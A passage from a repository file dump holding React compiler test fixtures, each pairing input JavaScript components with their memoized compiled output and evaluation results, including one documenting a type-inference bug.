= t1;\n  }\n\n  return result;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ cond: true }],\n  sequentialRenders: [\n    { cond: false, value: 2 },\n    { cond: false, value: 3 },\n  ],\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-type-inference-control-flow.ts",
    "content": "import {arrayPush, CONST_NUMBER0, mutate} from 'shared-runtime';\n\n/**\n * Repro for bug in our type inference system. We currently propagate inferred\n * types through control flow / potential type guards. Note that this is\n * inconsistent with both Flow and Typescript.\n * https://flow.org/try/#1N4Igxg9gdgZglgcxALlAIwIZoKYBsD6uEEAztvhgE6UYCe+JADpdhgCYowa5kA0I2KAFcAtiRQAXSkOz9sADwxgJ+NPTbYuQ3BMnTZA+Y2yU4IwRO4A6SFBIrGVDGM7c+h46fNRLuKxJIGWh8MeT0ZfhYlCStpHzNsFBAMIQkIEQwJODAQfiEyfBE4eWw2fDgofDBMsAALfAA3KjgsXGxxZC4eAw0G-GhcWn9aY3wWZldu-g1mbGqJUoBaCRHEzrcDEgBrbAk62kXhXFxJ923d-cPRHEpTgyEoMDaqZdW7vKgoOfaSKgOKpqmDA+d4gB5fMA-P6LCCMLLQbiLOoYCqgh6-GDYRYIXYLSgkRZkCR4jpddwPfJLZjpOBkO4AX34kA0SRWxgABAAxYjsgC87OAAB0oOzReythU2Mh2YKQNyILLeMKxeymrgZNLhCIbsL6QBuYVs7DsgBCVD5AuVYolUClMpAZsoiqtorVGvZWpuSqg9OFMAeyjg0HZdTmW3lAAp5NKAPJoABWcwkAEppWZGLg4O12fJ2bSuTyhSKxSwJEJKCKAOQ2tiVvMi3MAMkbOasNb5vP5svlsoNPuFfoD8JFGQqUel8vZAB9TVReCHoHa0MRnlBUwWIJbi6K4DB2RHbGxk1uVSrd-uAIShsDh4hR5PHoun5-siS1SgQADuHuw34AotQECUBGsqysmfYvuyvrbqepblg2EFitBKpwRWOZ9vSuQgA0JgkEGUBJBk9gmCA9JAA\n * https://www.typescriptlang.org/play/?#code/C4TwDgpgBAYg9nKBeKBvAUFLUDWBLAOwBMAuKAInjnIBpNsA3AQwBsBXCMgtgWwCMIAJ3QBfANzpQkKACEmg5GnpZ8xMuTmDayqM3aco3fkLoj0AMzYEAxsDxwCUawAsI1nFQAUADzJw+AFZuwACUZEwAzhFCwBFQ3lB4cVRK2InmUJ4AhJ4A5KpEuYmOCQBkpfEAdAXISCiUCOQhIalp2MDOgnAA7oYQvQCigl2CnuRWEN6QthBETTpmZhZWtvaOPEyEPmQpAD6y8jRODqRQfAgsEEwEYbAIrVh4GZ7WJy0Ybdgubh4IPiEST5YQQQYBsQQlQHYMxpEFgiHxCQiIA\n *\n * Found differences in evaluator results\n * Non-forget (expected):\n *   (kind: ok)\n *   [2]\n *   [3]\n * Forget:\n *   (kind: ok)\n *   [2]\n *   [2,3]\n */\nfunction useFoo({cond, value}: {cond: boolean; value: number}) {\n  const x = {value: cond ? CONST_NUMBER0 : []};\n  mutate(x);\n\n  const xValue = x.value;\n  let result;\n  if (typeof xValue === 'number') {\n    result = xValue + 1; //               (1) here we infer xValue is a primitive\n  } else {\n    result = arrayPush(xValue, value); // (2) and propagate it to all other xValue references\n  }\n\n  return result;\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: true}],\n  sequentialRenders: [\n    {cond: false, value: 2},\n    {cond: false, value: 3},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/builtin-jsx-tag-lowered-between-mutations.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const maybeMutable = new MaybeMutable();\n  return <div>{maybeMutate(maybeMutable)}</div>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const maybeMutable = new MaybeMutable();\n    t0 = <div>{maybeMutate(maybeMutable)}</div>;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/builtin-jsx-tag-lowered-between-mutations.js",
    "content": "function Component(props) {\n  const maybeMutable = new MaybeMutable();\n  return <div>{maybeMutate(maybeMutable)}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-args-assignment.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = makeObject();\n  x.foo((x = makeObject()));\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    x = makeObject();\n    x.foo((x = makeObject()));\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-args-assignment.js",
    "content": "function Component(props) {\n  let x = makeObject();\n  x.foo((x = makeObject()));\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-args-destructuring-assignment.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = makeObject();\n  x.foo(([x] = makeObject()));\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    x = makeObject();\n    x.foo(([x] = makeObject()));\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-args-destructuring-assignment.js",
    "content": "function Component(props) {\n  let x = makeObject();\n  x.foo(([x] = makeObject()));\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-spread-argument-mutable-iterator.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useIdentity} from 'shared-runtime';\n\nfunction useFoo() {\n  const it = new Set([1, 2]).values();\n  useIdentity();\n  return Math.max(...it);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { useIdentity } from \"shared-runtime\";\n\nfunction useFoo() {\n  const it = new Set([1, 2]).values();\n  useIdentity();\n  return Math.max(...it);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n\n```\n      \n### Eval output\n(kind: ok) 2\n2"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-spread-argument-mutable-iterator.js",
    "content": "import {useIdentity} from 'shared-runtime';\n\nfunction useFoo() {\n  const it = new Set([1, 2]).values();\n  useIdentity();\n  return Math.max(...it);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-spread.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeArray} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = makeArray(...props.a, null, ...props.b);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: [1, 2], b: [2, 3, 4]}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeArray } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] !== props.a || $[1] !== props.b) {\n    t0 = makeArray(...props.a, null, ...props.b);\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  const x = t0;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: [1, 2], b: [2, 3, 4] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1,2,null,2,3,4]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-spread.js",
    "content": "import {makeArray} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = makeArray(...props.a, null, ...props.b);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: [1, 2], b: [2, 3, 4]}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-with-independently-memoizable-arg.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = makeFunction(props);\n  const y = x(\n    <div>\n      <span>{props.text}</span>\n    </div>\n  );\n  return y;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== props) {\n    const x = makeFunction(props);\n    let t1;\n    if ($[2] !== props.text) {\n      t1 = (\n        <div>\n          <span>{props.text}</span>\n        </div>\n      );\n      $[2] = props.text;\n      $[3] = t1;\n    } else {\n      t1 = $[3];\n    }\n    t0 = x(t1);\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const y = t0;\n  return y;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call-with-independently-memoizable-arg.js",
    "content": "function Component(props) {\n  const x = makeFunction(props);\n  const y = x(\n    <div>\n      <span>{props.text}</span>\n    </div>\n  );\n  return y;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {}\n\nfunction Component(props) {\n  const a = [];\n  const b = {};\n  foo(a, b);\n  let _ = <div a={a} />;\n  foo(b);\n  return <div a={a} b={b} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo() {}\n\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const a = [];\n    const b = {};\n    foo(a, b);\n    foo(b);\n    t0 = <div a={a} b={b} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/call.js",
    "content": "function foo() {}\n\nfunction Component(props) {\n  const a = [];\n  const b = {};\n  foo(a, b);\n  let _ = <div a={a} />;\n  foo(b);\n  return <div a={a} b={b} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-indirect-mutate-alias-iife.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a) {\n  let x = {a};\n  (function () {\n    let q = x;\n    (function () {\n      q.b = 1;\n    })();\n  })();\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [2],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a) {\n  const $ = _c(2);\n  let x;\n  if ($[0] !== a) {\n    x = { a };\n\n    const q = x;\n    (function () {\n      q.b = 1;\n    })();\n    $[0] = a;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [2],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":2,\"b\":1}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-indirect-mutate-alias-iife.js",
    "content": "function component(a) {\n  let x = {a};\n  (function () {\n    let q = x;\n    (function () {\n      q.b = 1;\n    })();\n  })();\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [2],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-indirect-mutate-alias.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a) {\n  let x = {a};\n  const f0 = function () {\n    let q = x;\n    const f1 = function () {\n      q.b = 1;\n    };\n    f1();\n  };\n  f0();\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a) {\n  const $ = _c(2);\n  let x;\n  if ($[0] !== a) {\n    x = { a };\n    const f0 = function () {\n      const q = x;\n      const f1 = function () {\n        q.b = 1;\n      };\n\n      f1();\n    };\n\n    f0();\n    $[0] = a;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-indirect-mutate-alias.js",
    "content": "function component(a) {\n  let x = {a};\n  const f0 = function () {\n    let q = x;\n    const f1 = function () {\n      q.b = 1;\n    };\n    f1();\n  };\n  f0();\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-param-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction getNativeLogFunction(level) {\n  return function () {\n    let str;\n    if (arguments.length === 1 && typeof arguments[0] === 'string') {\n      str = arguments[0];\n    } else {\n      str = Array.prototype.map\n        .call(arguments, function (arg) {\n          return inspect(arg, {\n            depth: 10,\n          });\n        })\n        .join(', ');\n    }\n    const firstArg = arguments[0];\n    let logLevel = level;\n    if (\n      typeof firstArg === 'string' &&\n      firstArg.slice(0, 9) === 'Warning: ' &&\n      logLevel >= LOG_LEVELS.error\n    ) {\n      logLevel = LOG_LEVELS.warn;\n    }\n    if (global.__inspectorLog) {\n      global.__inspectorLog(\n        INSPECTOR_LEVELS[logLevel],\n        str,\n        [].slice.call(arguments),\n        INSPECTOR_FRAMES_TO_SKIP\n      );\n    }\n    if (groupStack.length) {\n      str = groupFormat('', str);\n    }\n    global.nativeLoggingHook(str, logLevel);\n  };\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction getNativeLogFunction(level) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== level) {\n    t0 = function () {\n      let str;\n      if (arguments.length === 1 && typeof arguments[0] === \"string\") {\n        str = arguments[0];\n      } else {\n        str = Array.prototype.map.call(arguments, _temp).join(\", \");\n      }\n\n      const firstArg = arguments[0];\n      let logLevel = level;\n      if (\n        typeof firstArg === \"string\" &&\n        firstArg.slice(0, 9) === \"Warning: \" &&\n        logLevel >= LOG_LEVELS.error\n      ) {\n        logLevel = LOG_LEVELS.warn;\n      }\n\n      if (global.__inspectorLog) {\n        global.__inspectorLog(\n          INSPECTOR_LEVELS[logLevel],\n          str,\n          [].slice.call(arguments),\n          INSPECTOR_FRAMES_TO_SKIP,\n        );\n      }\n\n      if (groupStack.length) {\n        str = groupFormat(\"\", str);\n      }\n\n      global.nativeLoggingHook(str, logLevel);\n    };\n    $[0] = level;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\nfunction _temp(arg) {\n  return inspect(arg, { depth: 10 });\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-param-mutate.js",
    "content": "function getNativeLogFunction(level) {\n  return function () {\n    let str;\n    if (arguments.length === 1 && typeof arguments[0] === 'string') {\n      str = arguments[0];\n    } else {\n      str = Array.prototype.map\n        .call(arguments, function (arg) {\n          return inspect(arg, {\n            depth: 10,\n          });\n        })\n        .join(', ');\n    }\n    const firstArg = arguments[0];\n    let logLevel = level;\n    if (\n      typeof firstArg === 'string' &&\n      firstArg.slice(0, 9) === 'Warning: ' &&\n      logLevel >= LOG_LEVELS.error\n    ) {\n      logLevel = LOG_LEVELS.warn;\n    }\n    if (global.__inspectorLog) {\n      global.__inspectorLog(\n        INSPECTOR_LEVELS[logLevel],\n        str,\n        [].slice.call(arguments),\n        INSPECTOR_FRAMES_TO_SKIP\n      );\n    }\n    if (groupStack.length) {\n      str = groupFormat('', str);\n    }\n    global.nativeLoggingHook(str, logLevel);\n  };\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-ref-for-later-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useRef} from 'react';\nimport {addOne} from 'shared-runtime';\n\nfunction useKeyCommand() {\n  const currentPosition = useRef(0);\n  const handleKey = direction => () => {\n    const position = currentPosition.current;\n    const nextPosition = direction === 'left' ? addOne(position) : position;\n    currentPosition.current = nextPosition;\n  };\n  const moveLeft = {\n    handler: handleKey('left'),\n  };\n  const moveRight = {\n    handler: handleKey('right'),\n  };\n  return [moveLeft, moveRight];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useKeyCommand,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useRef } from \"react\";\nimport { addOne } from \"shared-runtime\";\n\nfunction useKeyCommand() {\n  const $ = _c(1);\n  const currentPosition = useRef(0);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const handleKey = (direction) => () => {\n      const position = currentPosition.current;\n      const nextPosition = direction === \"left\" ? addOne(position) : position;\n      currentPosition.current = nextPosition;\n    };\n    const moveLeft = { handler: handleKey(\"left\") };\n    const moveRight = { handler: handleKey(\"right\") };\n    t0 = [moveLeft, moveRight];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useKeyCommand,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"handler\":\"[[ function params=0 ]]\"},{\"handler\":\"[[ function params=0 ]]\"}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture-ref-for-later-mutation.tsx",
    "content": "import {useRef} from 'react';\nimport {addOne} from 'shared-runtime';\n\nfunction useKeyCommand() {\n  const currentPosition = useRef(0);\n  const handleKey = direction => () => {\n    const position = currentPosition.current;\n    const nextPosition = direction === 'left' ? addOne(position) : position;\n    currentPosition.current = nextPosition;\n  };\n  const moveLeft = {\n    handler: handleKey('left'),\n  };\n  const moveRight = {\n    handler: handleKey('right'),\n  };\n  return [moveLeft, moveRight];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useKeyCommand,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture_mutate-across-fns-iife.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a) {\n  let z = {a};\n  (function () {\n    (function () {\n      z.b = 1;\n    })();\n  })();\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [2],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a) {\n  const $ = _c(2);\n  let z;\n  if ($[0] !== a) {\n    z = { a };\n\n    (function () {\n      z.b = 1;\n    })();\n    $[0] = a;\n    $[1] = z;\n  } else {\n    z = $[1];\n  }\n\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [2],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":2,\"b\":1}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture_mutate-across-fns-iife.js",
    "content": "function component(a) {\n  let z = {a};\n  (function () {\n    (function () {\n      z.b = 1;\n    })();\n  })();\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [2],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture_mutate-across-fns.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a) {\n  let z = {a};\n  const f0 = function () {\n    const f1 = function () {\n      z.b = 1;\n    };\n    f1();\n  };\n  f0();\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a) {\n  const $ = _c(2);\n  let z;\n  if ($[0] !== a) {\n    z = { a };\n    const f0 = function () {\n      const f1 = function () {\n        z.b = 1;\n      };\n\n      f1();\n    };\n\n    f0();\n    $[0] = a;\n    $[1] = z;\n  } else {\n    z = $[1];\n  }\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capture_mutate-across-fns.js",
    "content": "function component(a) {\n  let z = {a};\n  const f0 = function () {\n    const f1 = function () {\n      z.b = 1;\n    };\n    f1();\n  };\n  f0();\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-arrow-function-1.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a) {\n  let z = {a};\n  let x = () => {\n    console.log(z);\n  };\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== a) {\n    const z = { a };\n    t0 = () => {\n      console.log(z);\n    };\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-arrow-function-1.js",
    "content": "function component(a) {\n  let z = {a};\n  let x = () => {\n    console.log(z);\n  };\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-2-iife.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\n\nfunction component(foo, bar) {\n  let x = {foo};\n  let y = {bar};\n  (function () {\n    let a = {y};\n    let b = x;\n    a.x = b;\n  })();\n  mutate(y);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['foo', 'bar'],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\n\nfunction component(foo, bar) {\n  const $ = _c(3);\n  let x;\n  if ($[0] !== bar || $[1] !== foo) {\n    x = { foo };\n    const y = { bar };\n\n    const a = { y };\n    const b = x;\n    a.x = b;\n\n    mutate(y);\n    $[0] = bar;\n    $[1] = foo;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"foo\", \"bar\"],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"foo\":\"foo\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-2-iife.js",
    "content": "import {mutate} from 'shared-runtime';\n\nfunction component(foo, bar) {\n  let x = {foo};\n  let y = {bar};\n  (function () {\n    let a = {y};\n    let b = x;\n    a.x = b;\n  })();\n  mutate(y);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['foo', 'bar'],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-2.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\n\nfunction Component({foo, bar}) {\n  let x = {foo};\n  let y = {bar};\n  const f0 = function () {\n    let a = {y};\n    let b = x;\n    a.x = b;\n  };\n  f0();\n  mutate(y);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{foo: 2, bar: 3}],\n  sequentialRenders: [\n    {foo: 2, bar: 3},\n    {foo: 2, bar: 3},\n    {foo: 2, bar: 4},\n    {foo: 3, bar: 4},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(3);\n  const { foo, bar } = t0;\n  let x;\n  if ($[0] !== bar || $[1] !== foo) {\n    x = { foo };\n    const y = { bar };\n    const f0 = function () {\n      const a = { y };\n      const b = x;\n      a.x = b;\n    };\n\n    f0();\n    mutate(y);\n    $[0] = bar;\n    $[1] = foo;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ foo: 2, bar: 3 }],\n  sequentialRenders: [\n    { foo: 2, bar: 3 },\n    { foo: 2, bar: 3 },\n    { foo: 2, bar: 4 },\n    { foo: 3, bar: 4 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"foo\":2}\n{\"foo\":2}\n{\"foo\":2}\n{\"foo\":3}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-2.js",
    "content": "import {mutate} from 'shared-runtime';\n\nfunction Component({foo, bar}) {\n  let x = {foo};\n  let y = {bar};\n  const f0 = function () {\n    let a = {y};\n    let b = x;\n    a.x = b;\n  };\n  f0();\n  mutate(y);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{foo: 2, bar: 3}],\n  sequentialRenders: [\n    {foo: 2, bar: 3},\n    {foo: 2, bar: 3},\n    {foo: 2, bar: 4},\n    {foo: 3, bar: 4},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-arr-2-iife.expect.md",
    "content": "\n## Input\n\n```javascript\nconst {mutate} = require('shared-runtime');\n\nfunction component(foo, bar) {\n  let x = {foo};\n  let y = {bar};\n  (function () {\n    let a = [y];\n    let b = x;\n    a.x = b;\n  })();\n  mutate(y);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['foo', 'bar'],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst { mutate } = require(\"shared-runtime\");\n\nfunction component(foo, bar) {\n  const $ = _c(3);\n  let x;\n  if ($[0] !== bar || $[1] !== foo) {\n    x = { foo };\n    const y = { bar };\n\n    const a = [y];\n    const b = x;\n    a.x = b;\n\n    mutate(y);\n    $[0] = bar;\n    $[1] = foo;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"foo\", \"bar\"],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"foo\":\"foo\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-arr-2-iife.js",
    "content": "const {mutate} = require('shared-runtime');\n\nfunction component(foo, bar) {\n  let x = {foo};\n  let y = {bar};\n  (function () {\n    let a = [y];\n    let b = x;\n    a.x = b;\n  })();\n  mutate(y);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['foo', 'bar'],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-arr-2.expect.md",
